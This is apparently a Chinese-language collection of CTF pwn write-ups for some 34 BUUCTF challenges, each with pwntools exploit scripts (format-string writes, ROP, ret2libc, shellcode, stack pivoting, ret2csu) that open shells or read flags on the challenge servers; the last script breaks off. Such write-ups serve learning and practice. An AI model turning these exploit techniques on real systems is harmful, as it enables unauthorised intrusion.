1.[第五空间2019 决赛]PWN5

[第五空间2019 决赛]PWN5

代码核心逻辑:

image-20210602182747720

程序获得一个随机数,我们的密码需要和随机数相同。我们在21行把随机数覆盖成我们要输入的密码即可。

首先判断参数在栈的位置

image-20210602182613082

随机数所在地址

image-20210602185856825

1
2
3
4
5
6
7
8
from pwn import *
#p=process('./pwn')
p=remote('node3.buuoj.cn',29594)
p.recvuntil('your name:')
p.sendline(p32(0x0804C044)+b'%10$4n')
p.recvuntil('your passwd:')
p.sendline(str(0x4))
p.interactive()

2.get_started_3dsctf_2016

get_started_3dsctf_2016

image-20210602200359919

这个程序没有push ebp; mov ebp,esp是用esp寻址的。所以返回距离只有0x38个字节。

本题核心逻辑如下,就是简单的ROP然后修改掉参数a1 a2的值。

image-20210602200927973

image-20210602201043807

image-20210602200945808

这里必须加上exit正常返回才能打通远程。

image-20210602203713530

1
2
3
4
5
6
7
8
9
10
from pwn import *
#p=process('./get_started_3dsctf_2016') #本地调试记得创建一个flag.txt
p=remote('node3.buuoj.cn',28271)
get_flag=0x080489A0
a1=814536271
a2=425138641
exit=0x0804E6A0
p.recvuntil('Qual a palavrinha magica?',timeout = 0.5);
p.sendline(b'A'*56+p32(get_flag)+p32(exit)+p32(a1)+p32(a2))
p.interactive()

同时这个题还可以直接绕过判断,直接搞flag。只是远程打不通,因为栈空间被破坏了。

image-20210602203925373

image-20210602203911452

1
2
3
4
5
6
from pwn import *
p=process('./get_started_3dsctf_2016')
get_flag=0x080489B8
p.recvuntil('Qual a palavrinha magica?',timeout = 0.5);
p.sendline(b'A'*56+p32(get_flag))
p.interactive()

然后在网上看wp时发现有师傅用mprotect函数打,于是学习了一波。

int mprotect(const void *start, size_t len, int prot);

start:我们要操作的地址,必须是一个内存页的起始地址,页大小的整数倍

len:地址往后的长度,最好为页大小整数倍

prot:权限,且prot=7 时是可读可写可执行。可以取以下几个值,并可以用|将几个属性结合起来使用:
1)PROT_READ:内存段可读;
2)PROT_WRITE:内存段可写;
3)PROT_EXEC:内存段可执行;
4)PROT_NONE:内存段不可访问。

mprotect函数将start开始长度为len的内存区的保护属性修改为prot指定的值。

返回值:0;成功,-1;失败(并且errno被设置)

我们的方法就是借助这个函数,将一段地址的权限修改为可读可写可执行,在这段地址上写入shellcode,然后控制eip到这段地址,从而执行shellcode。

image-20210602223401046

我们选择0x80ea000这段地址,len为1000。

然后通过pop参数返回到read函数。

image-20210602224017706

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
#p=process('./get_started_3dsctf_2016')
p=remote('node3.buuoj.cn',27797)
buf = 0x80ea000
mprotect = 0x0806EC80
read_addr = 0x0806E140
pop_ret = 0x0804f460
payload=b'A'*56+p32(mprotect)+p32(pop_ret)+p32(buf)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x100)
p.recvuntil('Qual a palavrinha magica?',timeout = 0.5);
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)
p.interactive()

也可以跳到main函数执行两次,不过好像远程打不通

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
#p=process('./get_started_3dsctf_2016')
p=remote('node3.buuoj.cn',27797)
buf = 0x80ea000
mprotect = 0x0806EC80
read_addr = 0x0806E140
main=0x08048A20
payload=b'A'*56+p32(mprotect)+p32(main)+p32(buf)+p32(0x1000)+p32(0x7)
p.recvuntil('Qual a palavrinha magica?',timeout = 0.5);
p.sendline(payload)
p.recvuntil('Qual a palavrinha magica?',timeout = 0.5);
payload=p32(read_addr)+p32(buf)+p32(0)+p32(buf)+p32(0x100)
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)
p.interactive()

3.ciscn_2019_n_8

ciscn_2019_n_8

保护全开

代码逻辑就是让我们输入的var[13]=17就行。

1
2
3
4
5
6
from pwn import *
#p=process('./ciscn_2019_n_8')
p=remote("node3.buuoj.cn",29984)
p.recvuntil("What's your name?\n",timeout=0.5)
p.sendline(14*p32(17))
p.interactive()

4.ciscn_2019_en_2

ciscn_2019_en_2

image-20210608220131354

这个题跟ciscn_2019_c_1一模一样。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python
from pwn import *
from LibcSearcher import *
elf=ELF('./ciscn_2019_en_2')
#p=process('./ciscn_2019_en_2')
p=remote('node3.buuoj.cn',25728)
pop_rdi = 0x0000000000400c83
ret = 0x00000000004006b9
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
p.sendlineafter('choice!\n', '1')
payload = b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
p.sendlineafter('encrypted\n',payload)
p.recvline()
p.recvline()
puts=u64(p.recvline()[:-1].ljust(8, b'\0'))
libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
p.sendlineafter('choice!\n','1')
payload=b'\0'+b'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
p.sendlineafter('encrypted\n',payload)
p.interactive()

image-20210608234859415

执行后会让你选择libc库,都试试就行了。本地打不通是因为libc版本不同。

5.jarvisoj_level2

jarvisoj_level2

简单的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return 0;
}
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF

system("echo Input:");
return read(0, buf, 0x100u);
}

image-20210609190158004

1
2
3
4
5
6
7
8
from pwn import *
p=remote('node3.buuoj.cn',27251)
bin_sh=0x0804A024
system_addr=0x08048320
ret_addr=0x08048480
payload=b'a'*(0x88+4)+p32(system_addr)+p32(ret_addr)+p32(bin_sh)
p.sendline(payload)
p.interactive()

6.not_the_same_3dsctf_2016

not_the_same_3dsctf_2016

shift+f12

image-20210609230819979

ctrl+x找到调用它的函数

image-20210609230846505

image-20210609230938208

image-20210609230948920

1
2
3
4
5
6
7
8
from pwn import *
p=remote('node3.buuoj.cn',27679)
get_secret=0x080489A0
flag=0x080ECA2D
write=0x0806E270
payload=b'a'*0x2d+p32(get_secret)+p32(write)+p32(0xdead)+p32(1)+p32(flag)+p32(45)
p.sendline(payload)
p.interactive()

或者用mprotect函数

image-20210609234313477

image-20210609233228480

基本上和上面那个get_started_3dsctf_2016一样

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=remote('node3.buuoj.cn',29680)
mprotect=0x806ED40
bss=0x80ea000
ret3=0x08050b45
read_addr=0x0806E200
payload=b'A'*0x2D+p32(mprotect)+p32(ret3)+p32(bss)+p32(0x1000)+p32(0x7)+p32(read_addr)+p32(bss)+p32(0)+p32(bss)+p32(0x100)
p.sendline(payload)
shellcode=asm(shellcraft.sh(),arch='i386',os='linux')
p.sendline(shellcode)
p.interactive()

7.bjdctf_2020_babystack

bjdctf_2020_babystack

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
p=remote('node3.buuoj.cn',29095)
bin_sh=0x400858
system=0x400590
pop_rdi=0x400833
p.recvuntil("name:\n")
p.sendline(str(200))
p.recvline()
payload=b'a'*(0x10+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
p.sendline(payload)
p.interactive()

看wp发现有个后门函数

1
2
3
4
5
6
7
8
9
from pwn import *
p=remote('node3.buuoj.cn',29095)
backdoor=0x4006E6
p.recvuntil("name:\n")
p.sendline("200")
p.recvline()
payload=b'a'*(0x10+8)+p64(backdoor)
p.sendline(payload)
p.interactive()

8.安洵杯_2018_neko

安洵杯_2018_neko

程序逻辑很简单,不细说了,输入Yqwq进入play函数,进行溢出通过libc拿shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25006)
elf=ELF('2018_neko')
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
play=0x80486E7
p.sendline("yQAQ")
p.recvuntil("anchovies:\n")
payload=b'a'*(0xd0+4)+p32(puts_plt)+p32(play)+p32(puts_got)
p.sendline(payload)
p.recvuntil("anchovies?\n")
puts=u32(p.recv(4))
libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
p.recvuntil("anchovies:\n")
payload=b'a'*(0xd0+4)+p32(system)+p32(play)+p32(binsh)
p.sendline(payload)
p.interactive()

9.[HarekazeCTF2019]baby_rop

[HarekazeCTF2019]baby_rop

1
2
3
4
5
6
7
from pwn import *
p=remote("node3.buuoj.cn",29813)
system=0x400490
binsh=0x601048
pop_rdi=0x400683
p.sendline(b'A'*0x18+p64(pop_rdi)+p64(binsh)+p64(system))
p.interactive()

flag不在根目录,find找一下就行

image-20210611140639621

10.jarvisoj_level2_x64

jarvisoj_level2_x64

1
2
3
4
5
6
7
from pwn import *
p=remote("node3.buuoj.cn",29270)
system=0x4004C0
binsh=0x600A90
pop_rdi=0x4006b3
p.sendline(b'A'*(0x80+8)+p64(pop_rdi)+p64(binsh)+p64(system))
p.interactive()

11.ciscn_2019_n_5

ciscn_2019_n_5

2个思路

1
2
3
4
5
6
7
8
9
10
from pwn import *
context.os='linux'
context.arch='amd64'
p=remote("node3.buuoj.cn",25285)
shellcode=asm(shellcraft.sh())
p.recvuntil("name\n")
p.sendline(shellcode)
p.recvuntil("me?\n")
p.sendline(b"A"*0x28+p64(0x601080))
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",25285)
elf=ELF("ciscn_2019_n_5")
pop_rdi=0x400713
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
p.sendline("asjdlajsdkl")
p.recvuntil("me?\n")
p.sendline(b"A"*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main))
puts=u64(p.recv(6).ljust(8, b'\0'))
libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
ret=0x4004c9
p.recvuntil("tell me your name\n")
p.sendline("asjdlajsdkl")
p.recvuntil(" me?\n")
p.sendline(b"A"*0x28+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system))
p.interactive()

12.ciscn_2019_ne_5

ciscn_2019_ne_5

image-20210614173216887

image-20210614173118814

思路是AddLog函数的输入的值,在GetFlag的strcpy函数下可以溢出。

image-20210614173257029

image-20210614173347120

因为找不到bin/sh,然后通过师傅们的wp发现可以这么找。

image-20210614173804217

要注意,不正常退出会报错,所以记得找exit。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
p=remote("node3.buuoj.cn",27017)
system=0x80484D0
binsh=0x80482ea
exit=0x80484E0
payload=b'A'*(0x48+4)+p32(system)+p32(exit)+p32(binsh)
p.recvuntil("password:")
p.sendline('administrator')
p.recvuntil(":")
p.sendline('1')
p.sendline("info:")
p.sendline(payload)
p.recvuntil("0.Exit\n:")
p.sendline('4')
p.interactive()

13.others_shellcode

….这个题就离谱

14.铁人三项(第五赛区)_2018_rop

铁人三项(第五赛区)_2018_rop

image-20210615184408096

懒得写题解了,就是简单的libc泄露

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",29307)
elf=ELF("2018_rop")
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x80484C6
p.sendline(b"A"*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4))
write=u32(p.recv(4))
libc=LibcSearcher("write",write)
libc_base=write-libc.dump('write')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
p.sendline(b"A"*(0x88+4)+p32(system)+p32(main)+p32(binsh))
p.interactive()

15.bjdctf_2020_babyrop

bjdctf_2020_babyrop

上题是32位的,这个题是64位的。别的好像没啥大区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
p=remote("node3.buuoj.cn",28535)
elf=ELF("bjdctf_2020_babyrop")
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
vuln=0x40067D
pop_rdi=0x400733
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(b"A"*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln))
puts=u64(p.recv(6).ljust(8, b'\0'))
libc=LibcSearcher("puts",puts)
libc_base=puts-libc.dump('puts')
binsh=libc_base+libc.dump('str_bin_sh')
system=libc_base+libc.dump('system')
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(b"A"*(0x20+8)+p64(pop_rdi)+p64(binsh)+p64(system))
p.interactive()

16.qctf_2018_stack2

qctf_2018_stack2

漏洞在这,没检查数组边界,通过后门函数拿shell就行。

image-20210615215548848

1
2
3
>>> from pwn import *
>>> p32(0x0804859B)
b'\x9b\x85\x04\x08'

另外直接打是没办法打通的,因为返回地址的偏移不是0x70,还需要多偏移0x10的地址。

1
2
3
lea ecx, [esp+4]	把返回地址+4存到ecx
and esp, 0FFFFFFF0h 把esp低四位归0
push [ecx-4] 把返回地址压入栈

具体返回位置通过调试可得知

image-20210615232639509

image-20210615225535917

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
p=remote("node3.buuoj.cn",29883)
p.sendlineafter("have:\n","1")
p.sendlineafter("numbers\n","1")

p.sendlineafter("5. exit\n","3")
p.sendlineafter("change:\n",str(116+0x10))
p.sendlineafter("number:\n",str(0x9b))

p.sendlineafter("5. exit\n","3")
p.sendlineafter("change:\n",str(117+0x10))
p.sendlineafter("number:\n",str(0x85))

p.sendlineafter("5. exit\n","3")
p.sendlineafter("change:\n",str(118+0x10))
p.sendlineafter("number:\n",str(0x04))

p.sendlineafter("5. exit\n","3")
p.sendlineafter("change:\n",str(119+0x10))
p.sendlineafter("number:\n",str(0x08))

p.sendlineafter("5. exit\n","5")
p.interactive()

17.ciscn_2019_s_9

image-20210904125615917

堆栈可执行

主要逻辑函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h]
puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

image-20210904121743119

通过代码可以看出,fgets处可以溢出,但是直接用pwntools的shellcode,会太长。

image-20210904125203056

这样就远超0x24了,不能覆盖返回地址,所以我们手写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p = remote("node4.buuoj.cn",27905)
shellcode = '''
push 0x0068732f
push 0x6e69622f
mov ebx,esp
xor edx, edx
xor ecx, ecx
mov al, 0xb
int 0x80
'''
hint_addr=0x8048554
payload=asm(shellcode).ljust(0x24,'\x00')+p32(hint_addr)+asm('sub esp,0x28 ; call esp')
p.recvuntile(">\n")
p.sendline(payload)
p.interactive()

18.mrctf2020_shellcode

1
2
3
4
5
6
7
8
root@330fb4af763b:~# checksec mrctf2020_shellcode
[*] '/root/mrctf2020_shellcode'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

堆栈可执行

image-20210904132327616

image-20210904132350553

因为有个call rax,是不确定地址,所以不能反汇编。

核心逻辑就是读取一段数据,然后执行。

1
2
3
4
5
6
from pwn import *
p = remote("node4.buuoj.cn",26281)
context(arch='amd64',os='linux')
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

19.pwnable_orw

image-20210904184417701

seccomp开了沙箱保护,只能调用如下的系统函数

image-20210904190625721

image-20210904191623797

然后是找到可读可写的段

image-20210904192215556

1
2
3
4
5
6
7
8
9
10
from pwn import *
p = remote("node4.buuoj.cn",27067)
context(arch='i386',os='linux')
payload=shellcraft.open('/flag')
payload+=shellcraft.read(3,'0x0804A065',70)
payload+=shellcraft.write(1,'0x0804A065',70)
payload=asm(payload)
p.recvuntil("shellcode:")
p.sendline(payload)
p.interactive()

使用open打开的fd一般等于3,所以read的fd是3,将flag的内容读入buf。而输出的fd一般是1,这个不需要使用open的fd,所以write的fd使用1。

20.bjdctf_2020_babystack2

image-20210904220750043

堆栈不可执行

image-20210904220924015

输入-1使整数溢出,然后直接后门函数覆盖返回地址

1
2
3
4
5
6
7
8
9
from pwn import *
p = remote("node4.buuoj.cn",25413)
p.recvuntil("name:\n")
p.sendline("-1")
p.recvuntil("name?\n")
backdoor=0x400726
payload = b'a'*0x18+p64(backdoor)
p.sendline(payload)
p.interactive()

21.[HarekazeCTF2019]baby_rop2

image-20210906090212077

开启堆栈不可执行

image-20210906090253701

直接进行rop攻击即可,查询字符串没找到system等函数。所以使用read函数的libc泄漏出system函数的真正地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
p = remote("node4.buuoj.cn",27542)
libc=ELF("./libc.so.6")
elf=ELF("./babyrop2")
pop_rdi=0x400733
pop_rsi=0x400731
format_addr=0x400770
printf_plt=elf.plt['printf']
read_got=elf.got['read']
main_plt=0x400636
payload=b'a'*0x28+p64(pop_rdi)+p64(read_got)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name?")
p.sendline(payload)
p.recvline()
read_addr=u64(p.recv(6).ljust(8,b'\x00'))
base=read_addr-libc.symbols['read']
system_addr=base+libc.symbols['system']
bin_sh=base+next(libc.search(b'/bin/sh'))
payload2=b'b'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)+p64(main_plt)
p.recvuntil("name?")
p.sendline(payload2)
p.interactive()

这里有个问题是,printf函数不需要两个参数,只需要一个参数就能输出read的got地址。这里是因为printfputs是常用的输出函数,在printf的参数是以\n结束的纯字符串时,printf会被优化为puts函数并去除换行符。

22.jarvisoj_level3

image-20210906092123487

堆栈不可执行

image-20210906092447884

核心逻辑,能够造成溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
p = remote("node4.buuoj.cn",26019)
elf=ELF('./level3')
write_plt=elf.plt['write']
write_got=elf.got['write']
vulnerable_function=0x804844B
payload=b'a'*(0x88+4)+p32(write_plt)+p32(vulnerable_function)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("Input:\n")
p.sendline(payload)
write=u32(p.recv(4).ljust(4,b'\x00'))
print(write)
libc=LibcSearcher('write',write)
base=write-libc.dump('write')
system=base+libc.dump('system')
binsh=base+libc.dump('str_bin_sh')
p.recvuntil("Input:\n")
payload=b'a'*(0x88+4)+p32(system)+p32(vulnerable_function)+p32(binsh)
p.sendline(payload)
p.interactive()

23.ciscn_2019_s_3

image-20210906095408255

image-20210918165628547.png

通过gdb调试和ida可以发现buf为0x10,因为函数调用完之后直接retn,所以返回地址就是rbp

image-20210918175306297.png

这个地址可以计算出我们写入的/bin/sh的偏移位。0x3b8-0x290=0x128

image-20210918230614889.png

最后因为找不到pop rdx,所以需要使用ret2csu进行巧妙构造一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",27697)
#p=process("./ciscn_s_3")
#gdb.attach(p,'b main')
execve_addr=0x4004E2
pop_rdi=0x4005a3
vuln_addr=0x4004ED
pop_rsi_r15=0x4005a1
syscall=0x400501
csu_1=0x400580
p6r=0x40059A
payload=b'/bin/sh\x00'+8*b'a'+p64(vuln_addr)
p.sendline(payload)
binsh = u64(p.recv()[32:40]) - 0x118
log.success('binsh = ' + hex(binsh))
payload=b'/bin/sh\x00'+8*b'a'+p64(p6r)
payload+=p64(0)+p64(1)+p64(binsh+0x58)+p64(0)*3+p64(csu_1)+p64(execve_addr)+p64(pop_rdi)+p64(binsh)
payload+=p64(syscall)
p.sendline(payload)
p.interactive()

24.jarvisoj_fm

image-20210920204312169.png

image-20210920210140405.png

格式化字符串,两个解法

一个是让x等于4,另一个是把printf函数的got地址变成system("/bin/sh")的地址

1
2
3
4
5
from pwn import *
p=remote("node4.buuoj.cn",27627)
payload = p32(0x804A02C)+b"%11$n"
p.sendline(payload)
p.interactive()
1
2
3
4
5
from pwn import *
p=remote("node4.buuoj.cn",27627)
payload = fmtstr_payload(11, {0x804A004:0x080485DF})
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
from pwn import *
p=remote("node4.buuoj.cn",27825)
#p=process("./fm")
#payload = fmtstr_payload(11, {0x804A004:0x080485DF})
got_add=0x0804A004
system=0x080485DF
payload=p32(got_add)+p32(got_add+2)+"%2044c%12$hn"+"%32219c%11$hn"
p.sendline(payload)
p.interactive()

25.x_ctf_b0verfl0w

image-20210922100725331

image-20210922101140597

hint函数给了一个jmp esp。因为栈的长度不够构造ROP,考虑使用stack pivoting。

1
2
3
4
5
6
7
8
from pwn import *
p=remote("node4.buuoj.cn",26868)
shellcode=b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
jmp_esp=0x8048504
sub_esp_jmp = asm('sub esp, 0x28;jmp esp')
payload=shellcode+b'a'*(0x20-len(shellcode))+b'bpbp'+p32(jmp_esp)+sub_esp_jmp
p.sendline(payload)
p.interactive()

26.ciscn_2019_es_2

image-20210923143151685.png

image-20210923143441935

栈溢出的空间只有8,只能正好覆盖返回地址。考虑使用frame faking栈转移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27284)
elf=ELF('./ciscn_2019_es_2')
system=elf.plt['system']
main=elf.symbols['main']
leave=0x080484b8
# 0x080484b8 : leave ; ret
p.recvuntil("name?")
payload=b'a'*0x27+b'b'
p.send(payload)
p.recvuntil('b')
stack=u32(p.recv(4))
success("stack: " + hex(stack))
esp=stack-0x38
payload=(p32(esp)+p32(system)+p32(main)+p32(esp+0x10)+b'/bin/sh\x00').ljust(0x28,b'\x00')+p32(esp)+p32(leave)
p.send(payload)
p.interactive()

27.ez_pz_hackover_2016

从此题开始使用python2

image-20210923163546066

image-20210923170129408

做法就是挂上gdb硬调。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#gdb调试脚本
from pwn import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
#r=remote("node4.buuoj.cn",29257)
r=process("./ez_pz_hackover_2016")
r.recvuntil('crash: ')
gdb.attach(r,"b *0x80485F7")
stack=int(r.recv(10),16)
success("stack: " + hex(stack))
shellcode=asm(shellcraft.sh())
payload="crashme\x00"+4*'a'
#payload="crashme\x00"+18*'a'+p32(stack-28)+shellcode
r.sendline(payload)
r.interactive()

image-20210925172437419

image-20210925172558750.png

1
2
3
4
5
6
#用ebp地址减去crashme地址,发现偏移只有22
>>> 0xfff8b678-0xfff8b662
22
#%p地址减去shellcode所在地址,偏移为28
>>> 0xfff8b680-0xfff8b69c
-28

所需条件满足,构成exp

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
r=remote("node4.buuoj.cn",29257)
#r=process("./ez_pz_hackover_2016")
r.recvuntil('crash: ')
#gdb.attach(r,"b *0x80485F7")
stack=int(r.recv(10),16)
success("stack: " + hex(stack))
shellcode=asm(shellcraft.sh())
payload="crashme\x00"+18*'a'+p32(stack-28)+shellcode
r.sendline(payload)
r.interactive()

28.jarvisoj_tell_me_something

直接溢出后门函数,因为没有压入ebp,所以不用+8。

image-20210925182920959.png

1
2
3
4
5
6
7
8
9
10
11
from pwn import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",29908)
#p=process("./guestbook")
#gdb.attach(p,"b *0x40050A")
hack=0x400620
payload=0x88*'a'+p64(0x400620)
p.recvuntil("message:\n")
p.sendline(payload)
p.interactive()

29.[Black Watch 入群题]PWN

image-20210928103935452.png

代码逻辑是写入两次,第一次写入bss段,第二次写入覆盖返回地址。因为堆栈不可执行,所以思路是栈转移到bss段进行rop。因为没有system函数,所以进行泄漏libc利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux',log_level='debug')
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",27277)
#p=process("./spwn")
elf=ELF("./spwn")
#def debug(cmd="b main"):
# gdb.attach(p, cmd)
# pause()
write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
leave_ret=0x8048408
bss_addr=0x804A300
payload=p32(main)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.recvuntil("What is your name?")
p.send(payload)
p.recvuntil("What do you want to say?")
payload='a'*0x18+p32(bss_addr)+p32(leave_ret)
p.send(payload)
write_addr=u32(p.recv(4))
success('write_addr: ',hex(write_addr))
libc=LibcSearcher('write',write_addr)
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')
p.recvuntil("What is your name?")
payload=p32(main)+p32(system)+p32(main)+p32(bin_sh)
p.send(payload)
p.recvuntil("What do you want to say?")
payload='a'*0x18+p32(bss_addr)+p32(leave_ret)
p.send(payload)
p.interactive()

30.picoctf_2018_rop chain

image-20210929081239783

程序存在后门函数flag,读取flag的条件是win1和win2相等,a1=-559039827。我们可以调用win_function1和win_function2修改win的值。

1
2
3
int a=-559039827;
printf("0x%x",a);
//0xdeadbaad

exp:

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",28277)
#p=process("./PicoCTF_2018_rop_chain")
p.recvuntil("Enter your input> ")
fun1=0x80485CB
fun2=0x80485D8
flag=0x804862B
payload="a"*(0x18+4)+p32(fun1)+p32(fun2)+p32(flag)+p32(0xbaaaaaad)+p32(0xdeadbaad)
p.sendline(payload)
p.interactive()

31.jarvisoj_level4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
from LibcSearcher import *
context(arch='i386',os='linux')
context.terminal = ['tmux','splitw','-h']
p=remote("node4.buuoj.cn",28264)
elf=ELF("./jarvisoj_level4")
#p=process("./jarvisoj_level4")
write_got=0x804A018
write_plt=0x08048340
main=0x08048470
payload="a"*(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
libc = LibcSearcher("write", write_addr)
libc_base = write_addr - libc.dump("write")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a"*0x8c+p32(system_addr)+p32(main)+p32(binsh_addr)
p.sendline(payload)
p.interactive()

32.jarvisoj_level3_x64

这题rop找不到pop rdx,直接使用read函数的mov edx,200h

image-20211013224412732

image-20211013224456437

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",27570)
elf=ELF("./level3_x64")
pop_rdi=0x04006b3
pop_rdx_r15=0x04006b1
write_plt=0x04004B0
write_got=0x0600A58
#write_got = elf.got["write"]
#write_plt = elf.plt["write"]
main=0x040061A
payload="a"*(0x80+8)+p64(pop_rdi)+p64(1)+p64(pop_rdx_r15)+p64(write_got)+p64(0)+p64(write_plt)+p64(main)
p.recvuntil("Input:\n")
p.sendline(payload)
write=u64(p.recv(8))
libc=LibcSearcher("write",write)
libc_base=write-libc.dump("write")
system=libc_base+libc.dump("system")
binsh=libc_base+libc.dump("str_bin_sh")
payload = "a"*0x88+p64(pop_rdi)+p64(binsh)+p64(system)
p.recvuntil("Input:\n")
p.sendline(payload)
p.interactive()

33.bjdctf_2020_babyrop2

image-20211014183349179.png

gift函数获取canary地址,vuln函数栈溢出泄漏libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",26747)
p.recvuntil("I'll give u some gift to help u!")
p.sendline("%7$p")
p.recvuntil("0x")
canary=int(p.recv(16),16)
pop_rdi=0x400993
puts_plt=0x400610
puts_got=0x601018
vuln=0x400887

payload="a"*(0x20-8)+p64(canary)+"a"*8+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln)
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(payload)

puts=u64(p.recv(6).ljust(8,"\x00"))
libc=LibcSearcher("puts",puts)
base=puts-libc.dump("puts")
system=base+libc.dump("system")
binsh=base+libc.dump("str_bin_sh")
payload="a"*(0x20-8)+p64(canary)+"a"*8+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)
p.recvuntil("Pull up your sword and tell me u story!\n")
p.sendline(payload)
p.interactive()

34.axb_2019_fmt32

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
from LibcSearcher import *
p=remote("node4.buuoj.cn",28482)
strlen_got=0x804A024
read_got=0x804A010
p.sendline("b"+p32(read_got)+"22"+"%8$s")
p.recvuntil("22")
read_addr=u32(p.recv(4))
